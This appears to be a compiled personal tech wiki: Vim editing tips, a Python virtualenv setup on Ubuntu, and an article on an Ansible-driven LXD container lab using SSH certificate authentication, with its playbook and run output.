In summary, the sticky bit in Linux permissions is used on directories to restrict the deletion or modification of files and directories within that directory to their respective owners or the superuser. It helps maintain security and integrity in shared directories, especially temporary and public directories where multiple users have access.
{% hint style="info" %}
When you only have SUID or SGID set, it displays *rwS* but *rws* when you have both SUID or SGID and executable(x) set for user or group. Likewise with Sticky bit, it displays *rwT* when you only set Sticky bit but *rwt* when you have both Sticky bit and executable(x) set for others.
{% endhint %}
# Unleashing VIM
This page is the how-to note on VIM as new tricks learned.
## 1. Multi-lines actions
In VIM, it is quite useful to utilise the visual mode and multi-line actions when you are commenting out multiple lines for troubleshooting or documentation.
Here is how to comment out multi-lines.
1. Ensure that we are in *normal mode*.
2. Move the cursor to the first line you want to comment out and press `Ctrl + v` to put the editor into *visual block mode*.
3. Select the lines you want to comment out with VIM's key `j` or arrow down key.
4. After that, press `Shift + i` to put the editor into *insert mode* inside *visual mode* and then press `#` which will add a hash to the first line.
5. Then press `Esc` to insert `#` character at all other selected lines.
Note that it can be any other characters instead of `#` for multi-lines insert. To append something at the end of multi-lines, it's the same workflow up to **Step 3** then `Shift + 4` (`$` symbol) to move the highlight to the end of each line, and `Shift + a` (`A` symbol) to append any character. After that, `Esc` to append the character(s) at the rest of selected lines in *visual block mode*.
Here is how to remove comment from multi-lines.
1. Ensure that you are in *normal mode*.
2. Move the cursor to the first line you want to comment out and press `Ctrl + v` to put the editor into *visual mode*.
3. Select the lines you want to comment out with VIM's key `j` or arrow down key.
4. Then press `x` to delete `#` character on all lines.
The same workflow can be used to perform any other multi-lines actions in VIM as well.
## 2. Macros
It can be quite powerful to use macros in VIM for the same repetitive task in your editor. For instance, a specific set of motions and actions you are about to perform at multiple places can be recorded as a macro.
Here is how to record a macro in VIM.
1. Ensure that you are in normal mode.
2. Press `q + w` to register `w` as macro.
3. Perform the commands/actions while it shows `recording @w`.
4. If it is in the insert mode, press `Esc` to get out of it.
5. Then press `q` to end the recording which stores the commands/actions in `@w`.
To reuse the recorded macro, move the cursor to where you want to perform the same commands/actions in VIM, and press `@w` to recall the macro.
## 3. .vimrc
As someone who writes Ansible playbooks and manages infrastructure almost entirely in YAML, having Vim configured *just right* makes a massive difference to my day-to-day flow. Here’s a breakdown of my simple but practical `.vimrc`, focused on keeping spacing consistent, catching bad characters, and visualising whitespace — all of which are critical when working with indentation-sensitive formats like YAML.
```bash
set ai et ts=2 sw=2 sts=0
highlight NonAscii ctermbg=red guibg=red
syntax match NonAscii "[^\x00-\x7F]"
highlight SpecialKey ctermfg=1
set list
set listchars=tab:T→,trail:␣
```
### Consistent, YAML-friendly indentation
```bash
set ai et ts=2 sw=2 sts=0
```
* `ai` automatically indents new lines to match the previous one, saving you repetitive indenting.
* `et` converts all tabs to **spaces**, which is essential for YAML.
* `ts=2 sw=2` enforce **2-space indentation**, which is considered best practice for YAML and Ansible.
* `sts=0` makes pressing `` insert exactly `shiftwidth` worth of spaces rather than mixing spacing.
### Catch non-ASCII characters instantly
```bash
highlight NonAscii ctermbg=red guibg=red
syntax match NonAscii "[^\x00-\x7F]"
```
These two lines work together to highlight any sneaky non-ASCII characters (like smart quotes or hidden Unicode) with a **bright red background**. This is incredibly helpful when copying from websites or PDF documents, where curly quotes and odd whitespace can silently break YAML parsing.
### Draw attention to whitespace characters
```bash
highlight SpecialKey ctermfg=1
set list
set listchars=tab:T→,trail:␣
```
Whitespace errors are one of the most common causes of YAML headaches — so I make them visible:
* `set list` tells Vim to actually display invisible whitespace characters.
* `listchars` defines what to show:
* Tabs become `T→` so I can spot them immediately.
* Trailing spaces render as a visible `␣` symbol.
* The `SpecialKey` highlight tweaks colouring so these markers stand out in the terminal.
This mini `.vimrc` is intentionally focused: keep indentation perfect, highlight bad characters, and make invisible whitespace obvious. It’s not flashy — but it saves me from subtle bugs daily when I’m writing Ansible playbooks and YAML configuration files.
## 4. Quickly Re-indent a Whole YAML File
If someone sends you a badly-formatted YAML file (mixed tabs/spaces, messy nesting, etc.), you can re-indent the **entire file** cleanly using one command inside Vim:
`gg=G`
What it does:
* `gg` jumps to the very top of the file.
* `=` is Vim’s built-in auto-indent command.
* `G` tells it to apply until the *end* of the file.
Together, `gg=G` says: *“Re-indent everything from top to bottom.”* This uses whatever indentation settings you already have (e.g. `et ts=2 sw=2`), so after running it, your YAML file instantly snaps into neat, consistent two-space indentation.
## 5. Run a Command on Every Line - Efficient Batch Editing with `:g` and `normal`
Suppose you want to **comment out all lines containing a certain word** (like `debug:`) or you want to **add indentation to every line that matches a pattern** — Vim’s powerful `:g` command combined with `normal` mode commands lets you do this in seconds.
**Example**: Comment out every line containing `debug:` in your YAML file
`:g/debug:/normal I#`
**How it works:**
* `:g/debug:/` — Finds every line containing `debug:`.
* `normal I#` — Runs normal mode command `I#` on those lines, which inserts `#` at the start of the line, effectively commenting it out.
**Another example**: Increase indentation by 2 spaces on lines with `when:`
```
:g/when:/normal 2>>
```
* `2>>` indents the line twice (2× your shiftwidth, usually 2 spaces each).
This saves you from repetitive manual edits and supercharges bulk modifications without leaving Vim or writing scripts.
## 6. Supercharging Your Vim Workflow with Relative Line Numbers
If you’ve been using Vim for a while, you probably already know about `:set number` - absolute line numbers. They’re great for orientation, but when it comes to actual **navigation and editing**, relative line numbers (`:set relativenumber`) can make a *huge* difference.
Instead of showing the exact line numbers, Vim shows the distance from your cursor line. This makes moving, deleting, or copying code faster and more intuitive.
Let’s look at why - using an Ansible playbook as our example.
### Editing YAML the Smart Way
Here’s a small Ansible playbook:
```yaml
- name: Configure web server
hosts: web
tasks:
- name: Install nginx
apt:
name: nginx
state: present
- name: Start nginx service
service:
name: nginx
state: started
enabled: true
- name: Deploy index.html
copy:
src: files/index.html
dest: /var/www/html/index.html
```
Now let’s say you’re on the `apt` task line (installing nginx). With relative numbers turned on, Vim might look something like this:
```yaml
5 - name: Install nginx
4 apt:
3 name: nginx
2 state: present
1
0 - name: Start nginx service
1 service:
2 name: nginx
3 state: started
4 enabled: true
```
Notice how the numbers show **distance from the cursor**, not absolute positions.
### Why It Is Useful
#### Fast Navigation
If you want to jump to the `service:` line (1 below), you don’t have to count - it literally tells you.
`1j`
Want to get to the `copy:` task that’s **7 lines down**?
`7j`
No more guesswork.
#### Smarter Editing
Say you want to **delete the nginx task entirely** (4 lines). With relative numbers, you instantly see it’s 4 lines long.
`d4j`
Or maybe you want to **yank** the whole `service` task (5 lines). Just:
`y5j`
This beats visually selecting and counting every time.
#### Visual Mode with Precision
Want to indent the next two tasks?
`V10j>`
Relative numbers make bulk actions super predictable.
#### Hybrid Mode (Best of Both Worlds)
Most people (me included) use:
`set number` `set relativenumber`
This way, the current line shows its **absolute number** (helpful when debugging YAML errors that say “line 23”), while all other lines stay **relative** for editing speed.
```yaml
8 - name: Configure web server
7 hosts: web
6 tasks:
5 - name: Install nginx
4 apt:
3 name: nginx
2 state: present
1
9 - name: Start nginx service
1 service:
2 name: nginx
3 state: started
4 enabled: true
5
6 - name: Deploy index.html
7 copy:
8 src: files/index.html
9 dest: /var/www/html/index.html
```
Relative line numbers might feel odd at first, but once you get used to them, you’ll never go back. They turn Vim into a precision editing machine - especially for structured files like YAML, JSON, or code blocks where you constantly jump, copy, or delete in chunks.
Next time you’re editing an Ansible playbook, flip on relative numbers and watch your speed go up.
## 7. Changing Case in Vim Like a Pro
Vim has powerful built-in commands for **changing case** (upper ↔ lower). You don’t need external plugins or search-replace tricks - just a few keystrokes.
### The Basics
#### Toggle case (`~`)
* In **Normal mode**, place the cursor on a character and press `~`.
* It flips that single character: `a` → `A`, `X` → `x`.
* Works in **Visual mode** too: select text, hit `~`, and everything toggles case.
Example:
`hello World`
Select `World` in Visual mode and press `~` →
`hello wORLD`
#### Force to lowercase (`gu`)
* `gu` + motion makes text lowercase.
* Examples:
* `guu` → lowercase the whole line
* `gUw` → uppercase the current word
* `gu$` → lowercase from cursor to end of line
Example:
`HELLO WORLD`
On the first line, type `guu` →
`hello world`
#### Force to uppercase (`gU`)
* `gU` + motion makes text uppercase.
* Examples:
* `gUU` → uppercase the whole line
* `gUw` → uppercase the current word
* `gU}` → uppercase until the end of paragraph
Example:
`hello world`
On the first line, type `gUU` →
`HELLO WORLD`
### Practical Use Cases
#### Fixing Constants in Code
`api_key = "abcd1234"`
Cursor on `api_key`, type `gUw` →
`API_key = "abcd1234"`
#### Normalising Config Files
Editing YAML in Ansible? Need `true`/`false` lowercase?
`enabled: TRUE`
Cursor on `TRUE`, type `guw` →
`enabled: true`
#### Quick Title Casing
Got this in Markdown:
`# my awesome blog POST`
Cursor on line, `gUaw` (uppercase a word) on `my`, then `aw` again on others.\
Result:
`# MY AWESOME BLOG POST`
### Visual Mode + Motions
You don’t have to memorise motions if you prefer **Visual mode**:
* Select text with `v` or `V`
* Press `u` → lowercase selection
* Press `U` → uppercase selection
It’s intuitive and fast for larger chunks.
### Hybrid Trick
Want **all lowercase, but just the first letter uppercase** (title case)? Combine commands:
1. `guw` → lowercase word
2. `gU~` → uppercase just the first character
So `"HELLO"` becomes `"Hello"`.
Changing case in Vim is a tiny feature with a big productivity payoff. Between `~`, `gu`, and `gU`, you can transform text however you like without leaving Normal mode. Try them on your next config file, YAML playbook, or Markdown doc - and you’ll see how much smoother editing becomes.
## 8. Mastering Vim’s Visual Line Mode: Editing Multiple Lines with Ease
One of the most underrated Vim superpowers is **Visual Line Mode** (`Shift+V`). It lets you select entire lines of text and then apply commands to all of them at once - from indentation to inserting text at the beginning of each line.
If you’ve ever found yourself manually repeating the same command across multiple lines, Visual Line Mode combined with `:` and `normal` is the trick you’ve been missing.
### What Is Visual Line Mode?
Vim has three visual modes:
* **Character-wise** (`v`) → Selects characters
* **Line-wise** (`V` or `Shift+V`) → Selects entire lines
* **Block-wise** (`Ctrl+v`) → Selects columns
Visual Line Mode is perfect when you want to work with *whole lines of text*, like YAML tasks, Python code, or Markdown lists.
### Basic Usage
1. Move the cursor to a line
2. Press `Shift+V` → entire line is selected
3. Move up or down (`j`/`k`) to extend selection
For example:
```yaml
- name: Install nginx
apt:
name: nginx
state: present
- name: Start service
service:
name: nginx
state: started
```
With `Shift+Vj`, you select both tasks.
### Power Move: Using `:` After Selection
Here’s the magic: once you’ve selected lines in Visual Line Mode, press `:` (that’s `Shift+;`).
* Vim will automatically expand the range for you, like: `:'<,'>`
* Now you can apply any **Ex command** or even run **Normal mode commands** on all those lines.
#### Indenting Multiple Lines
1. Select lines with `Shift+Vj`
2. Press `:` → prompt shows `:'<,'>`
3. Type: `normal >>`
All selected lines are indented one level.
#### Insert Text at the Beginning of Each Line
Say you want to comment out multiple lines with `#`:
1. Select lines in Visual Line Mode
2. Press `:`
3. Run: `normal I#`
Every selected line now has a `#` at the start.
#### Append Text at the End of Each Line
1. Select lines
2. `:`
3. Run: `normal A;`
Adds a `;` at the end of each selected line. Perfect for quickly editing languages where statements need semicolons.
### Why This Is So Powerful
* No need to record macros
* Works with *any* Normal mode command
* Faster than manual repetition
* Perfect for code, config files, and structured text like YAML or JSON
Once you get the hang of `:'<,'> normal …`, you’ll feel like you’ve unlocked a hidden “batch-edit” mode in Vim.
Visual Line Mode with `:` and `normal` bridges the gap between **precise motions** and **bulk editing**. Whether you’re commenting out a YAML playbook, adding semicolons to JavaScript, or indenting Python code, this workflow saves time and reduces errors.
Next time you need to make the same change across multiple lines, try this:
`Shift+V → select → : → normal command`
You’ll wonder how you ever worked without it.
## 9. Doing Arithmetic in Vim: Increment, Decrement, and Beyond
When you think of Vim, you probably imagine blazing-fast navigation, text objects, and macros. But did you know Vim can also do **arithmetic operations** directly inside your text?
Yes - without leaving your editor, you can increment, decrement, or even perform calculations on numbers. This makes Vim surprisingly powerful for editing configs, version numbers, lists, or anything with numeric data.
### The Basics: `` and ``
* **`` (Ctrl+a)** → Increment the number under (or after) the cursor
* **`` (Ctrl+x)** → Decrement the number under (or after) the cursor
Example:
`version: 1`
Put the cursor on `1`, press `` →
`version: 2`
Press `` →
`version: 1`
### Repeating Counts
You can pass a **count** before the command:
* `5` → Increase the number by 5
* `3` → Decrease the number by 3
Example:
`retries: 10`
With the cursor on `10`, press `5` →
`retries: 15`
### Incrementing Across Multiple Lines
One of Vim’s hidden gems is **Visual mode + ``**.
1. Select multiple lines in **Visual Block mode** (`Ctrl+v`)
2. Move cursor down to highlight a column of numbers
3. Press `g` → increments all numbers at once
Example before:
```
item1
item2
item3
```
Select the `1`, `2`, `3` in block mode and press `g` →
```
item2
item3
item4
```
Add a count: `10g` →
```
item11
item12
item13
```
### Arithmetic in the Command Line
You can also use Vim’s command line for calculations:
`:echo 5*7`
→ `35`
Or set a register/variable:
`:let x = 42 | echo x + 8`
→ `50`
This is especially useful in mappings or small Vimscript snippets.
### Practical Use Cases
* **Config files:** Tuning retry counts, port numbers, or version IDs
* **Code editing:** Updating array indices or enum values
* **Markdown lists:** Renumbering ordered lists on the fly
* **Bulk updates:** Generating sequential IDs or test data
Vim isn’t just a text editor - it’s a toolbox. Knowing that you can perform **arithmetic operations directly in your buffer** means fewer context switches and faster editing. Next time you need to bump a version number, increment test IDs, or adjust numeric values, remember:
* `` increments
* `` decrements
* `g` batch-increments in block mode
Small trick, big productivity boost.
# Setting up a Python developer environment
Developer environment is the environment a developer use to code without affecting his/her work laptop/PC; while installing additional packages and plugins required by end customer's defined specifications and not breaking daily work engine (laptop/PC). Some developers prefer to set up a separate virtual machine to muck around with their environment carefree but some don't really have much horsepower on their work laptop/PC to do so. In that case, virtual environment or venv comes in handy for the ones don't really like to setup a virtual machine and maintain/patch two different operating systems; one on the host machine and one on the VM.
In this tutorial, I will do a quick rundown on how you can quickly setup a developer environment with venv. Of course, I will use Ubuntu 20.04 LTS desktop as my distribution and try to install venv for Python 3
* As always and oftentimes, it is the best practice to update the APT.
```
sudo apt update
```
* Install prerequisites packages and pip for Python 3
```
sudo apt install build-essential libssl-dev libffi-dev python-dev -y
sudo apt install python3-pip -y
```
* Then use pip to install virtualenv
```
sudo pip3 install virtualenv
```
* Make a directory called py3 at your home directory for virtualenv
```
mkdir py3
```
* After that, make the newly created directory py3 as virtualenv for Python 3
```
virtualenv -p python3 py3
```
* Activate the Python 3 virtualenv
```
source py3/bin/activate
```
* py3 is displayed as prefix at your terminal prompt as below. And now you are in the venv to start coding.
```
(py3) tyla@ubuntu:~$
```
* To leave the venv, type "deactivate" command at the prompt.
```
(py3) tyla@ubuntu:~$ deactivate
```
* To make our life easier in the terminal, we can create an alias called py3 in .bashrc file at home directory. Add the following line in our .bashrc file by using your favorite text editor like vim or nano.
```
alias py3='source /home/tyla/py3/bin/activate'
```
* Now all we have to do is type "py3" at the prompt rather than "source py3/bin/activate" as below.
```
tyla@ubuntu:~$ py3
(py3) tyla@ubuntu:~$ python --version
```
That's it! The virtual environment has been successfully setup as developer environment. Now you can start coding some python 3 in your developer environment.
# Setting up LXD Lab with Ansible
In the world of local infrastructure automation and playbook testing, **Vagrant/VirtualBox** has long been the go-to combo. But what if you could replace all that overhead with something faster, lighter, and closer to real-world Linux systems? That’s exactly what I set out to do with [**lxd-lab**](https://github.com/tylalin/lxd-lab) - that uses **Ansible** and **LXD** to spin up containerised Linux environments for testing and development. No bloated VMs. No GUI. Just containers, automation, and security done right.
In a previous post, I shared how I streamlined [**SSH key management in LXD**](https://en.itmatic101.com/virtualisation/ssh-key-management-in-lxd) after migrating from Vagrant. This was a simple solution leveraging `cloud-init`. Later, I delved into the enhanced security of [**SSH certificate authentication**](https://en.itmatic101.com/linux/ssh-certificate-authentication). Despite its robust security, that process involved numerous manual, repetitive steps – particularly when adding new servers or clients.
This repetition sparked an idea: automate the entire lab setup and its intricate workflow. My tool of choice for this challenge? **Ansible**. After a couple of weeks of dedicated effort in my downtime, I'm excited to share the results of that automation journey in this article.
## What is lxd-lab?
It provides a complete, **Ansible-orchestrated lab environment** built upon **LXC containers**. It utilises a dedicated `lxd_manage` Ansible role to automate the provisioning and configuration of these containers, delivering a highly efficient, secure, and modern workflow.
This solution empowers developers and DevOps teams to:
* Validate **Ansible playbooks** within a truly representative environment.
* Rapidly deploy **ephemeral development and testing systems** without the resource demands of traditional hypervisors like VirtualBox.
* Implement **SSH certificate-based authentication**, enhancing security and streamlining connectivity by eliminating the need for manual host key management.
## Upgrading My Workflow: Why LXD + Ansible Outperforms Vagrant
For many developers and DevOps professionals, Vagrant paired with VirtualBox has been the go-to for local development environments. However, the overhead of full virtualisation often translates to sluggish performance, high resource consumption, and a less-than-ideal user experience on contemporary Linux desktops.
Enter LXD and Ansible – a powerful duo that revolutionises local lab management. This pairing offers significant improvements in speed, efficiency, and security:
| Feature | Vagrant/VirtualBox | LXD + Ansible |
| -------------------------- | ----------------------------------------------------------------------- | ------------------------------------------------------------------------------------------ |
| **Boot Time** | Slow (Spinning up full virtual machines) | Fast (Nearly instantaneous container starts) |
| **Disk/CPU Usage** | High (Each VM consumes dedicated resources) | Low (Containers share the host kernel efficiently) |
| **SSH Setup** | Often manual host key acceptance (TOFU) or basic key-based auth | Seamlessly integrated CA-signed certificates (Enhanced security, no manual key acceptance) |
| **Native Integration** | (VirtualBox is a hypervisor, not native to Linux's core container tech) | (LXD is built directly on Linux container technology, offering native performance) |
| **Automation Flexibility** | Limited to VM-specific commands and guest OS config | Full Ansible power, orchestrating everything from host to container configuration |
## Understanding the lxd-lab Workflow
The lxd-lab environment is orchestrated through a combination of key components designed for efficiency and security:
### lxd\_manage Ansible Role: Container Orchestration
The custom **lxd\_manage Ansible role** is the engine behind container provisioning. It systematically performs the following actions:
* **Container Creation:** Instantiates LXC containers using specified remote images, such as ubuntu:24.04.
* **Initial Configuration:** Applies predefined profiles and configures hostnames and network settings.
* **Readiness Check:** Waits for cloud-init to fully initialise within the container, ensuring it's ready for subsequent operations.
### Secure Connectivity: SSH Certificate Authentication
A cornerstone of this lab's security is its reliance on **SSH Certificate Authentication**. Instead of traditional host key verification, a dedicated **SSH Certificate Authority (CA)** is used to sign all host keys.
This method delivers several key benefits:
* **Eliminates Manual Fingerprint Confirmation:** You'll never encounter "Trust On First Use" (TOFU) prompts, streamlining initial connections.
* **Centralised Trust Management:** Provides a single point of control for issuing, trusting, and revoking SSH host certificates.
* **Enhanced Scalability:** Ideal for environments with frequently changing or numerous instances, offering a secure and efficient authentication mechanism for labs, server fleets, and CI/CD pipelines.
## Getting Started
We can get up and running in a few steps:
* Clone the repository
```bash
$ git clone https://github.com/tylalin/lxd-lab.git
```
* View its directory structure
```bash
$ cd lxd-lab
$ tree
.
├── ansible.cfg
├── inventory
│ └── hosts.yml
├── LICENSE
├── lxd-lab.yml
├── README.md
├── roles
│ └── lxd_manage
│ ├── defaults
│ │ └── main.yml
│ ├── meta
│ │ └── main.yml
│ ├── tasks
│ │ └── main.yml
│ └── templates
│ ├── hosts.j2
│ └── user-data.yml.j2
└── templates
└── hosts.j2
9 directories, 12 files
```
* Here is how the Ansible inventory (`inventory/hosts.yml`) looks like. Of course, all of those variables and IP addresses can be changed to your liking as desired.
```yaml
---
all:
vars:
ssh_ca_dir: ~/ca
ssh_ca_key_name: homelab_ssh_ca
ssh_ca_key_comment: Homelab SSH CA
domain: home.lab
user: tyla
children:
cts:
children:
servers:
vars:
host_key_name: ssh_host_rsa_key
host_crtkey: "{{ host_key_name }}-cert.pub"
hosts:
server1:
ansible_host: 10.18.34.10
server2:
ansible_host: 10.18.34.11
server3:
ansible_host: 10.18.34.12
server4:
ansible_host: 10.18.34.13
clients:
vars:
user_key_name: id_rsa
user_crtkey: "{{ user_key_name }}-cert.pub"
hosts:
client1:
ansible_host: 10.18.34.20
client2:
ansible_host: 10.18.34.21
```
* The main Ansible playbook (`lxd-lab.yml`) is shown as below.
```yaml
---
- name: Manage LXD lab
hosts: all
connection: local
gather_facts: false
roles:
- lxd_manage
- name: Configure /etc/hosts for DNS name resolution
hosts: all
gather_facts: false
tasks:
- name: Wait for SSH
wait_for_connection:
timeout: 180
- name: Render /etc/hosts from template to remote target(s)
template:
src: hosts.j2
dest: /etc/hosts
mode: 0644
- name: Configure SSH CA
hosts: localhost
gather_facts: false
become: true
become_user: "{{ user }}"
tasks:
- name: Ensure CA key directory exists
file:
path: "{{ ssh_ca_dir }}"
state: directory
mode: 0700
- name: Generate SSH RSA key pair for CA if not present
openssh_keypair:
path: "{{ ssh_ca_dir }}/{{ ssh_ca_key_name }}"
comment: "{{ ssh_ca_key_comment }}"
- name: Create directory structure for all hosts
file:
path: "{{ ssh_ca_dir }}/{{ item }}"
state: directory
mode: 0755
loop: "{{ groups['all'] }}"
- name: Cleanup SSH CA directory upon destroy
file:
path: "{{ ssh_ca_dir }}"
state: absent
tags: [destroy, never]
- name: Configure server-side for SSH certificate authentication
hosts: servers
gather_facts: false
tasks:
- name: Get ssh_host_rsa_key.pub from server
fetch:
src: "/etc/ssh/{{ host_key_name }}.pub"
dest: "{{ ssh_ca_dir }}/{{ inventory_hostname }}/"
flat: yes
- name: Copy CA public key to server
copy:
src: "{{ ssh_ca_dir }}/{{ ssh_ca_key_name }}.pub"
dest: "/etc/ssh/"
mode: 0644
- name: Sign SSH host key with CA private key
command: |
ssh-keygen -s {{ ssh_ca_key_name }}
-I {{ inventory_hostname }}
-V +52w
-h
-n {{ inventory_hostname }}.{{ domain }}
{{ inventory_hostname }}/{{ host_key_name }}.pub
args:
chdir: "{{ ssh_ca_dir }}"
creates: "{{ ssh_ca_dir }}/{{ inventory_hostname }}/{{ host_crtkey }}"
delegate_to: localhost
become: true
become_user: "{{ user }}"
- name: Copy signed host public key to server
copy:
src: "{{ ssh_ca_dir }}/{{ inventory_hostname }}/{{ host_crtkey }}"
dest: "/etc/ssh/"
mode: 0644
- name: Ensure SSH CA settings are in sshd_config
blockinfile:
path: /etc/ssh/sshd_config
block: |
HostKey /etc/ssh/{{ host_key_name }}
HostCertificate /etc/ssh/{{ host_crtkey }}
TrustedUserCAKeys /etc/ssh/{{ ssh_ca_key_name }}.pub
marker: "# {mark} ANSIBLE MANAGED SSH CA CONFIG"
notify: Restart SSH
handlers:
- name: Restart SSH
systemd_service:
name: ssh
state: restarted
daemon_reload: true
- name: Configure client-side for SSH certificate authentication
hosts: clients
gather_facts: false
tasks:
- name: Ensure .ssh directory exists for {{ user }}
file:
path: "/home/{{ user }}/.ssh"
state: directory
owner: "{{ user }}"
group: "{{ user }}"
mode: 0700
- name: Generate SSH RSA key pair for {{ user }} if not present
openssh_keypair:
path: "/home/{{ user }}/.ssh/{{ user_key_name }}"
owner: "{{ user }}"
group: "{{ user }}"
comment: "{{ user }}@{{ inventory_hostname }}"
- name: Get {{ user_key_name }}.pub from client
fetch:
src: "/home/{{ user }}/.ssh/{{ user_key_name }}.pub"
dest: "{{ ssh_ca_dir }}/{{ inventory_hostname }}/"
flat: yes
- name: Sign SSH user key with CA private key
command: |
ssh-keygen -s {{ ssh_ca_key_name }}
-I {{ inventory_hostname }}
-V +52w
-n {{ user }}
{{ inventory_hostname }}/{{ user_key_name }}.pub
args:
chdir: "{{ ssh_ca_dir }}"
creates: "{{ ssh_ca_dir }}/{{ inventory_hostname }}/{{ user_crtkey }}"
delegate_to: localhost
become: true
become_user: "{{ user }}"
- name: Copy signed user public key to client
copy:
src: "{{ ssh_ca_dir }}/{{ inventory_hostname }}/{{ user_crtkey }}"
dest: "/home/{{ user }}/.ssh/"
owner: "{{ user }}"
group: "{{ user }}"
mode: 0644
- name: Ensure CA public key is present in ssh_known_hosts
lineinfile:
path: /etc/ssh/ssh_known_hosts
create: yes
line: "@cert-authority *.{{ domain }} {{ lookup('file', lookup('env', 'HOME') + '/ca/homelab_ssh_ca.pub') }}"
state: present
```
Given the self-documenting nature of Ansible playbooks, I'll skip a line-by-line explanation of each play and task.
## Standing Up
### Prerequisites
* Ubuntu 24.04 LTS
* LXD installed (with snapd) and properly setup
* Ansible (version - 2.16.3)
* Git to clone my GitHub repository - [**lxd-lab**](https://github.com/tylalin/lxd-lab)
### Ansible Magic
Run the following command to run Ansible playbook `lxd-lab.yml`.
```bash
$ ansible-playbook lxd-lab.yml
PLAY [Manage LXD lab] ************************************************************************************************************************************************************************
TASK [lxd_manage : Create LXD instance(s)] ***************************************************************************************************************************************************
changed: [server1]
changed: [server2]
changed: [client2]
changed: [server3]
changed: [server4]
changed: [client1]
TASK [lxd_manage : Update localhost /etc/hosts file for DNS name resolution] *****************************************************************************************************************
ok: [server1]
PLAY [Configure /etc/hosts for DNS name resolution] ******************************************************************************************************************************************
TASK [Wait for SSH] **************************************************************************************************************************************************************************
ok: [server4]
ok: [server1]
ok: [server3]
ok: [server2]
ok: [client2]
ok: [client1]
TASK [Render /etc/hosts from template to remote target(s)] ***********************************************************************************************************************************
changed: [client1]
changed: [client2]
changed: [server4]
changed: [server2]
changed: [server1]
changed: [server3]
PLAY [Configure SSH CA] **********************************************************************************************************************************************************************
TASK [Ensure CA key directory exists] ********************************************************************************************************************************************************
changed: [localhost]
TASK [Generate SSH RSA key pair for CA if not present] ***************************************************************************************************************************************
changed: [localhost]
TASK [Create directory structure for all hosts] **********************************************************************************************************************************************
changed: [localhost] => (item=server1)
changed: [localhost] => (item=server2)
changed: [localhost] => (item=server3)
changed: [localhost] => (item=server4)
changed: [localhost] => (item=client1)
changed: [localhost] => (item=client2)
PLAY [Configure server-side for SSH certificate authentication] ******************************************************************************************************************************
TASK [Get ssh_host_rsa_key.pub from server] **************************************************************************************************************************************************
changed: [server3]
changed: [server4]
changed: [server1]
changed: [server2]
TASK [Copy CA public key to server] **********************************************************************************************************************************************************
changed: [server2]
changed: [server1]
changed: [server4]
changed: [server3]
TASK [Sign SSH host key with CA private key] *************************************************************************************************************************************************
changed: [server2 -> localhost]
changed: [server1 -> localhost]
changed: [server4 -> localhost]
changed: [server3 -> localhost]
TASK [Copy signed host public key to server] *************************************************************************************************************************************************
changed: [server1]
changed: [server3]
changed: [server2]
changed: [server4]
TASK [Ensure SSH CA settings are in sshd_config] *********************************************************************************************************************************************
changed: [server3]
changed: [server2]
changed: [server4]
changed: [server1]
RUNNING HANDLER [Restart SSH] ****************************************************************************************************************************************************************
changed: [server2]
changed: [server3]
changed: [server1]
changed: [server4]
PLAY [Configure client-side for SSH certificate authentication] ******************************************************************************************************************************
TASK [Ensure .ssh directory exists for tyla] *************************************************************************************************************************************************
ok: [client1]
ok: [client2]
TASK [Generate SSH RSA key pair for tyla if not present] *************************************************************************************************************************************
changed: [client1]
changed: [client2]
TASK [Get id_rsa.pub from client] ************************************************************************************************************************************************************
changed: [client1]
changed: [client2]
TASK [Sign SSH user key with CA private key] *************************************************************************************************************************************************
changed: [client2 -> localhost]
changed: [client1 -> localhost]
TASK [Copy signed user public key to client] *************************************************************************************************************************************************
changed: [client1]
changed: [client2]
TASK [Ensure CA public key is present in ssh_known_hosts] ************************************************************************************************************************************
changed: [client1]
changed: [client2]
PLAY RECAP ***********************************************************************************************************************************************************************************
client1 : ok=9 changed=7 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
client2 : ok=9 changed=7 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
localhost : ok=3 changed=3 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
server1 : ok=10 changed=8 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
server2 : ok=9 changed=8 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
server3 : ok=9 changed=8 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
server4 : ok=9 changed=8 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
```
### Verification Process
Let's verify if all those LXC containers are actually up and running with `lxc list` command first.
```bash
$ lxc list
+---------+---------+--------------------+-----------------------------------------------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+---------+---------+--------------------+-----------------------------------------------+-----------+-----------+
| client1 | RUNNING | 10.18.34.20 (eth0) | fd42:2751:df65:31e1:216:3eff:fee3:7ec8 (eth0) | CONTAINER | 0 |
+---------+---------+--------------------+-----------------------------------------------+-----------+-----------+
| client2 | RUNNING | 10.18.34.21 (eth0) | fd42:2751:df65:31e1:216:3eff:fe36:ec14 (eth0) | CONTAINER | 0 |
+---------+---------+--------------------+-----------------------------------------------+-----------+-----------+
| server1 | RUNNING | 10.18.34.10 (eth0) | fd42:2751:df65:31e1:216:3eff:fe6d:f4ac (eth0) | CONTAINER | 0 |
+---------+---------+--------------------+-----------------------------------------------+-----------+-----------+
| server2 | RUNNING | 10.18.34.11 (eth0) | fd42:2751:df65:31e1:216:3eff:fec6:ccd3 (eth0) | CONTAINER | 0 |
+---------+---------+--------------------+-----------------------------------------------+-----------+-----------+
| server3 | RUNNING | 10.18.34.12 (eth0) | fd42:2751:df65:31e1:216:3eff:feb2:e242 (eth0) | CONTAINER | 0 |
+---------+---------+--------------------+-----------------------------------------------+-----------+-----------+
| server4 | RUNNING | 10.18.34.13 (eth0) | fd42:2751:df65:31e1:216:3eff:fe86:de3c (eth0) | CONTAINER | 0 |
+---------+---------+--------------------+-----------------------------------------------+-----------+-----------+
```
To verify the SSH certificate authentication workflow, go through the following process.
```bash
# SSH into client1
$ ssh client1
Warning: Permanently added 'client1' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu Jun 5 11:22:40 UTC 2025
System load: 0.89
Usage of /: 2.6% of 18.96GB
Memory usage: 0%
Swap usage: 0%
Temperature: 34.0 C
Processes: 22
Users logged in: 0
IPv4 address for eth0: 10.18.34.20
IPv6 address for eth0: fd42:2751:df65:31e1:216:3eff:fee3:7ec8
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
